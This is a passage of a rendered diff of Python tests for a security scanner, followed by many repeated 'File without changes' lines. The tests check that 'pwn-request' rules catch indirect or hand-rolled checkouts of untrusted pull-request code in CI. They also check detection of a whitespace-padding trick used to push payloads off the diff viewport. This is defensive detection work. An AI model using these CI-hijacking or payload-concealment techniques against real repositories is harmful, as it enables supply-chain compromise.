"""`ref:` reading a name bound to the head expression elsewhere in the file is the same attack with
|
|
155
|
+
an extra line. Requiring the expression to sit ON the `ref:` line would make that a free bypass."""
|
|
156
|
+
hits = [h for h in scan_indicators(_PWN_INDIRECT) if h.rule == "pwn-request"]
|
|
157
|
+
assert hits and hits[0].severity == "critical"
|
|
158
|
+
|
|
159
|
+
|
|
160
|
+
def test_pwn_request_catches_a_hand_rolled_checkout():
|
|
161
|
+
"""The dangerous fetch does not have to go through actions/checkout."""
|
|
162
|
+
hits = [h for h in scan_indicators(_PWN_GIT_FETCH) if h.rule == "pwn-request"]
|
|
163
|
+
assert hits and hits[0].severity == "critical"
|
|
164
|
+
|
|
165
|
+
|
|
121
166
|
def test_detects_whitespace_shove_wherever_it_sits():
|
|
122
167
|
"""Miasma PREPENDED ~700 spaces to push the payload off the diff viewport. A run that size mid-line
|
|
123
168
|
conceals just as well, so the rule is not line-anchored — but ordinary indentation must stay silent."""
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|